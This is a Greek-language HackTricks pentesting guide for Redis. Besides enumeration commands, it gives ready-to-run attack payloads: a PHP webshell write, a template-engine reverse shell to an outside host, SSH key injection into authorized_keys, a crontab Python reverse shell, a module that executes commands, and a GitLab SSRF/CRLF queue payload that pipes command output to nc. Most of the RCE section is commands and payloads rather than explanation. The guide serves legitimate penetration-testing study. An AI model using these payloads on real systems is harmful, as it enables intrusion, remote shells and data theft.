6379 - Pentesting Redis

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Red Team του HackTricks AWS)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Συμμετέχετε στον Διακομιστή Discord του HackenProof για να επικοινωνήσετε με έμπειρους χάκερ και κυνηγούς ευρημάτων ασφαλείας!

Εισαγωγή στο Χάκινγκ Ασχοληθείτε με περιεχόμενο που εξετάζει την αγωνία και τις προκλήσεις του χάκινγκ

Ειδήσεις Χάκινγκ σε Πραγματικό Χρόνο Μείνετε ενημερωμένοι με τον γρήγορο κόσμο του χάκινγκ μέσω ειδήσεων και αναλύσεων σε πραγματικό χρόνο

Τελευταίες Ανακοινώσεις Μείνετε ενήμεροι με τις νεότερες εκκλήσεις ευρημάτων ασφαλείας που ξεκινούν και τις κρίσιμες ενημερώσεις πλατφόρμας

Ελάτε στο Discord και αρχίστε να συνεργάζεστε με κορυφαίους χάκερ σήμερα!

Βασικές Πληροφορίες

Από τα έγγραφα: Το Redis είναι ένα ανοιχτού κώδικα (με άδεια BSD), αποθήκη δεδομένων στη μνήμη, χρησιμοποιείται ως βάση δεδομένων, cache και μεσάζοντας μηνυμάτων.

Από προεπιλογή, το Redis χρησιμοποιεί ένα πρωτόκολλο βασισμένο σε κείμενο, αλλά πρέπει να έχετε υπόψη ότι μπορεί επίσης να υλοποιήσει ssl/tls. Μάθετε πώς να εκτελέσετε το Redis με ssl/tls εδώ.

Προεπιλεγμένη θύρα: 6379

PORT     STATE SERVICE  VERSION
6379/tcp open  redis   Redis key-value store 4.0.9

Αυτόματη Απαρίθμηση

Μερικά αυτοματοποιημένα εργαλεία που μπορούν να βοηθήσουν στην απόκτηση πληροφοριών από μια περίπτωση redis:

nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server

Χειροκίνητη Απαρίθμηση

Μπάνερ

Το Redis είναι ένα κείμενο βασισμένο πρωτόκολλο, μπορείτε απλά να στείλετε την εντολή μέσω socket και οι επιστρεφόμενες τιμές θα είναι αναγνώσιμες. Επίσης, θυμηθείτε ότι το Redis μπορεί να λειτουργεί χρησιμοποιώντας ssl/tls (αλλά αυτό είναι πολύ περίεργο).

Σε ένα κανονικό παράδειγμα Redis μπορείτε απλά να συνδεθείτε χρησιμοποιώντας nc ή μπορείτε επίσης να χρησιμοποιήσετε το redis-cli:

nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools

Την πρώτη εντολή που θα μπορούσες να δοκιμάσεις είναι το info. Ενδέχεται να επιστρέψει έξοδο με πληροφορίες της περίπτωσης Redis ή κάτι παρόμοιο με το παρακάτω:

-NOAUTH Authentication required.

Ελέγχος Ταυτοποίησης Redis

Από προεπιλογή το Redis μπορεί να προσπελαστεί χωρίς διαπιστευτήρια. Ωστόσο, μπορεί να διαμορφωθεί ώστε να υποστηρίζει μόνο κωδικό πρόσβασης ή όνομα χρήστη + κωδικό πρόσβασης. Είναι δυνατόν να οριστεί ένας κωδικός πρόσβασης στο αρχείο redis.conf με την παράμετρο requirepass ή προσωρινά μέχρι την επανεκκίνηση της υπηρεσίας συνδέοντας και εκτελώντας: config set requirepass p@ss$12E45. Επίσης, ένα όνομα χρήστη μπορεί να διαμορφωθεί στην παράμετρο masteruser μέσα στο αρχείο redis.conf.

Εάν διαμορφωθεί μόνο ο κωδικός πρόσβασης, το όνομα χρήστη που χρησιμοποιείται είναι "default". Επίσης, σημειώστε ότι δεν υπάρχει τρόπος να ανιχνευθεί εξωτερικά αν το Redis έχει διαμορφωθεί με μόνο κωδικό πρόσβασης ή όνομα χρήστη + κωδικό πρόσβασης.

Σε περιπτώσεις όπως αυτή θα χρειαστείτε έγκυρα διαπιστευτήρια για να αλληλεπιδράσετε με το Redis, επομένως μπορείτε να προσπαθήσετε να δοκιμάσετε βίαια το σύστημα. Σε περίπτωση που βρείτε έγκυρα διαπιστευτήρια, θα πρέπει να πιστοποιήσετε τη συνεδρία μετά την καθιέρωση της σύνδεσης με την εντολή:

AUTH <username> <password>

Έγκυρα διαπιστευτήρια θα απαντηθούν με: +OK

Εξερεύνηση με πιστοποίηση

Εάν ο διακομιστής Redis επιτρέπει ανώνυμες συνδέσεις ή εάν έχετε λάβει έγκυρα διαπιστευτήρια, μπορείτε να ξεκινήσετε τη διαδικασία εξερεύνησης της υπηρεσίας χρησιμοποιώντας τις παρακάτω εντολές:

INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]

Άλλες εντολές Redis μπορούν να βρεθούν εδώ και εδώ.

Σημειώστε ότι οι εντολές Redis ενός παραδείγματος μπορεί να μετονομαστούν ή να αφαιρεθούν στο αρχείο redis.conf. Για παράδειγμα, αυτή η γραμμή θα αφαιρέσει την εντολή FLUSHDB:

rename-command FLUSHDB ""

Περισσότερες πληροφορίες σχετικά με την ασφαλή ρύθμιση ενός υπηρεσίας Redis εδώ: https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04

Μπορείτε επίσης να παρακολουθείτε σε πραγματικό χρόνο τις εντολές Redis που εκτελούνται με την εντολή monitor ή να λάβετε τις 25 πιο αργές ερωτήσεις με την εντολή slowlog get 25

Βρείτε περισσότερες ενδιαφέρουσες πληροφορίες σχετικά με περισσότερες εντολές Redis εδώ: https://lzone.de/cheat-sheet/Redis

Αντιγραφή Βάσης Δεδομένων

Μέσα στο Redis οι βάσεις δεδομένων είναι αριθμοί που ξεκινούν από το 0. Μπορείτε να δείτε αν κάποια χρησιμοποιείται στην έξοδο της εντολής info μέσα στο τμήμα "Keyspace":

Ή μπορείτε απλά να πάρετε όλα τα keyspaces (βάσεις δεδομένων) με:

INFO keyspace

Σε αυτό το παράδειγμα χρησιμοποιούνται οι βάσεις δεδομένων 0 και 1. Η Βάση δεδομένων 0 περιέχει 4 κλειδιά και η βάση δεδομένων 1 περιέχει 1. Από προεπιλογή, το Redis θα χρησιμοποιήσει τη βάση δεδομένων 0. Για να κάνετε dump για παράδειγμα τη βάση δεδομένων 1, πρέπει να κάνετε:

SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]

Σε περίπτωση που λάβετε το ακόλουθο σφάλμα -WRONGTYPE Operation against a key holding the wrong kind of value κατά την εκτέλεση της εντολής GET <KEY> σημαίνει ότι το κλειδί μπορεί να είναι κάτι διαφορετικό από μια συμβολοσειρά ή ένας ακέραιος και απαιτεί έναν ειδικό τελεστή για να εμφανιστεί.

Για να μάθετε τον τύπο του κλειδιού, χρησιμοποιήστε την εντολή TYPE, παράδειγμα παρακάτω για κλειδιά λίστας και κλειδιά κατακερματισμού.

TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]

# If the type used is weird you can always do:
DUMP <key>

Ανακτήστε τη βάση δεδομένων με npm redis-dump ή με python redis-utils

Συμμετέχετε στον διακομιστή HackenProof Discord για να επικοινωνήσετε με έμπειρους χάκερ και κυνηγούς ευρημάτων ασφαλείας!

Εισαγωγή στο Hacking Ασχοληθείτε με περιεχόμενο που εξερευνά την αγωνία και τις προκλήσεις του χάκινγκ

Ειδήσεις Χάκινγκ σε Πραγματικό Χρόνο Μείνετε ενήμεροι με τον γρήγορο ρυθμό του κόσμου του χάκινγκ μέσω ειδήσεων και αναλύσεων σε πραγματικό χρόνο

Τελευταίες Ανακοινώσεις Μείνετε ενήμεροι με τις νεότερες ανακοινώσεις για τα κυνήγια ευρημάτων και τις κρίσιμες ενημερώσεις της πλατφόρμας

Συμμετέχετε μαζί μας στο Discord και αρχίστε να συνεργάζεστε με κορυφαίους χάκερ σήμερα!

Redis RCE

Διαδραστικό Shell

Το redis-rogue-server μπορεί αυτόματα να λάβει ένα διαδραστικό shell ή ένα αντίστροφο shell στο Redis (<=5.0.5).

./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>

PHP Webshell

Πληροφορίες από εδώ. Πρέπει να γνωρίζετε τη διαδρομή του φακέλου της ιστοσελίδας:

root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK

Εάν η πρόσβαση στο webshell είναι εξαίρεση, μπορείτε να αδειάσετε τη βάση δεδομένων μετά το backup και να δοκιμάσετε ξανά, μην ξεχνάτε να επαναφέρετε τη βάση δεδομένων.

Πρότυπο Webshell

Όπως και στην προηγούμενη ενότητα, μπορείτε επίσης να αντικαταστήσετε κάποιο αρχείο προτύπου html που θα ερμηνευτεί από έναν μηχανισμό προτύπου και να αποκτήσετε ένα shell.

Για παράδειγμα, ακολουθώντας αυτό το writeup, μπορείτε να δείτε ότι ο επιτιθέμενος ενσωμάτωσε ένα rev shell σε ένα html που ερμηνεύεται από τον μηχανισμό προτύπου nunjucks:

{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}

Σημειώστε ότι πολλά μηχανήματα προτύπων κρατούν τα πρότυπα στη μνήμη, οπότε ακόμη κι αν τα αντικαταστήσετε, το νέο δεν θα εκτελεστεί. Σε αυτές τις περιπτώσεις, είτε ο προγραμματιστής άφησε ενεργή την αυτόματη επαναφόρτωση είτε πρέπει να κάνετε DoS στην υπηρεσία (και να περιμένετε να επανεκκινηθεί αυτόματα).

SSH

Παράδειγμα από εδώ

Παρακαλώ να σημειώσετε ότι το αποτέλεσμα της εντολής config get dir μπορεί να αλλάξει μετά από άλλες εντολές εκμετάλλευσης. Προτείνεται να το εκτελέσετε πρώτα αμέσως μετά τη σύνδεση στο Redis. Στην έξοδο της config get dir μπορείτε να βρείτε τον φάκελο home του χρήστη redis (συνήθως /var/lib/redis ή /home/redis/.ssh), και γνωρίζοντας αυτό μπορείτε να γράψετε το αρχείο authenticated_users για πρόσβαση μέσω ssh με τον χρήστη redis. Αν γνωρίζετε το home άλλου έγκυρου χρήστη όπου έχετε δικαιώματα εγγραφής, μπορείτε επίσης να το εκμεταλλευτείτε:

  1. Δημιουργήστε ένα ζευγάρι κλειδιών ssh δημόσιου-ιδιωτικού στον υπολογιστή σας: ssh-keygen -t rsa

  2. Γράψτε το δημόσιο κλειδί σε ένα αρχείο: (echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt

  3. Εισαγάγετε το αρχείο στο Redis: cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key

  4. Αποθηκεύστε το δημόσιο κλειδί στο αρχείο authorized_keys στον διακομιστή Redis:

root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
  1. Τέλος, μπορείτε να συνδεθείτε μέσω ssh στον διακομιστή redis με το ιδιωτικό κλειδί: ssh -i id_rsa redis@10.85.0.52

Αυτή η τεχνική είναι αυτοματοποιημένη εδώ: https://github.com/Avinash-acid/Redis-Server-Exploit

Crontab

root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK

Το τελευταίο παράδειγμα είναι για Ubuntu, για το Centos, η παραπάνω εντολή θα πρέπει να είναι: redis-cli -h 10.85.0.52 config set dir /var/spool/cron/

Αυτή η μέθοδος μπορεί επίσης να χρησιμοποιηθεί για να κερδίσετε bitcoin: yam

Φόρτωση Redis Module

  1. Ακολουθώντας τις οδηγίες από https://github.com/n0b0dyCN/RedisModules-ExecuteCommand μπορείτε να συντάξετε ένα redis module για να εκτελέσετε αυθαίρετες εντολές.

  2. Στη συνέχεια, χρειάζεστε κάποιον τρόπο για ανέβασμα του συνταγμένου module

  3. Φορτώστε το ανεβασμένο module κατά την εκτέλεση με MODULE LOAD /path/to/mymodule.so

  4. Καταχωρήστε τα φορτωμένα modules για να ελέγξετε αν φορτώθηκαν σωστά: MODULE LIST

  5. Εκτελέστε εντολές:

127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
  1. Αποφορτώστε το module όποτε θέλετε: MODULE UNLOAD mymodule

Παράκαμψη αμμύγου LUA

Εδώ μπορείτε να δείτε ότι το Redis χρησιμοποιεί την εντολή EVAL για να εκτελέσει κώδικα Lua sandboxed. Στη συνδεδεμένη ανάρτηση μπορείτε να δείτε πώς να το καταχραστείτε χρησιμοποιώντας τη λειτουργία dofile, αλλά προφανώς αυτό δεν είναι πλέον δυνατό. Πάντως, αν μπορείτε να παρακάμψετε το Lua sandbox μπορείτε να εκτελέσετε αυθαίρετες εντολές στο σύστημα. Επίσης, από την ίδια ανάρτηση μπορείτε να δείτε μερικές επιλογές για προκαλέσετε DoS.

Μερικά CVEs για απόδραση από το LUA:

Ενότητα Master-Slave

Ο master redis όλες οι λειτουργίες συγχρονίζονται αυτόματα στον slave redis, που σημαίνει ότι μπορούμε να θεωρήσουμε την ευπάθεια redis ως slave redis, συνδεδεμένη στον master redis που ελέγχουμε, έπειτα μπορούμε να εισάγουμε την εντολή στον δικό μας redis.

master redis : 10.85.0.51 (Hacker's Server)
slave  redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld

SSRF μιλώντας με το Redis

Εάν μπορείτε να στείλετε αίτημα κειμένου σε καθαρή μορφή στο Redis, μπορείτε να επικοινωνήσετε μαζί του καθώς το Redis θα διαβάσει γραμμή προς γραμμή το αίτημα και θα απαντήσει με σφάλματα μόνο στις γραμμές που δεν καταλαβαίνει:

-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'

Επομένως, αν βρείτε μια ευπάθεια SSRF σε έναν ιστότοπο και μπορείτε να ελέγξετε μερικούς κεφαλίδες (ίσως με μια ευπάθεια CRLF) ή παραμέτρους POST, θα μπορείτε να στείλετε αυθαίρετες εντολές στο Redis.

Παράδειγμα: Gitlab SSRF + CRLF σε Shell

Στο Gitlab11.4.7 ανακαλύφθηκε μια ευπάθεια SSRF και μια CRLF. Η ευπάθεια SSRF βρισκόταν στη λειτουργικότητα εισαγωγής έργου από URL κατά τη δημιουργία ενός νέου έργου και επέτρεπε την πρόσβαση σε αυθαίρετες διευθύνσεις IP στη μορφή [0:0:0:0:0:ffff:127.0.0.1] (αυτό θα προσπελάσει το 127.0.0.1), και η ευπάθεια CRLF εκμεταλλεύτηκε απλά προσθέτοντας χαρακτήρες %0D%0A στο URL.

Επομένως, ήταν δυνατό να καταχραστείτε αυτές τις ευπάθειες για να επικοινωνήσετε με την παρουσία Redis που διαχειρίζεται τις ουρές από το gitlab και να καταχραστείτε αυτές τις ουρές για να λάβετε εκτέλεση κώδικα. Το φορτίο κατάχρησης ουράς Redis είναι:

multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec

Και το αίτημα URL encode κατάχρησης του SSRF και του CRLF για την εκτέλεση ενός whoami και την αποστολή των αποτελεσμάτων μέσω nc είναι:

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git

Για κάποιο λόγο (όπως για τον συγγραφέα του https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/ απ' όπου προήλθε αυτή η πληροφορία) η εκμετάλλευση λειτούργησε με το σχήμα git και όχι με το σχήμα http.

Συμμετέχετε στον HackenProof Discord διακομιστή για να επικοινωνήσετε με έμπειρους χάκερ και κυνηγούς ευρημάτων ασφαλείας!

Εισαγωγή στο Hacking Ασχοληθείτε με περιεχόμενο που εξερευνά τον ενθουσιασμό και τις προκλήσεις του χάκινγκ

Ειδήσεις Χάκινγκ σε Πραγματικό Χρόνο Μείνετε ενήμεροι με τον γρήγορο ρυθμό του κόσμου του χάκινγκ μέσω ειδήσεων και αναλύσεων σε πραγματικό χρόνο

Τελευταίες Ανακοινώσεις Μείνετε ενήμεροι με τις νεότερες ανακοινώσεις για νέες αμοιβές ευρημάτων και κρίσιμες ενημερώσεις πλατφόρμας

Συμμετέχετε στο Discord και αρχίστε τη συνεργασία με κορυφαίους χάκερ σήμερα!

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Last updated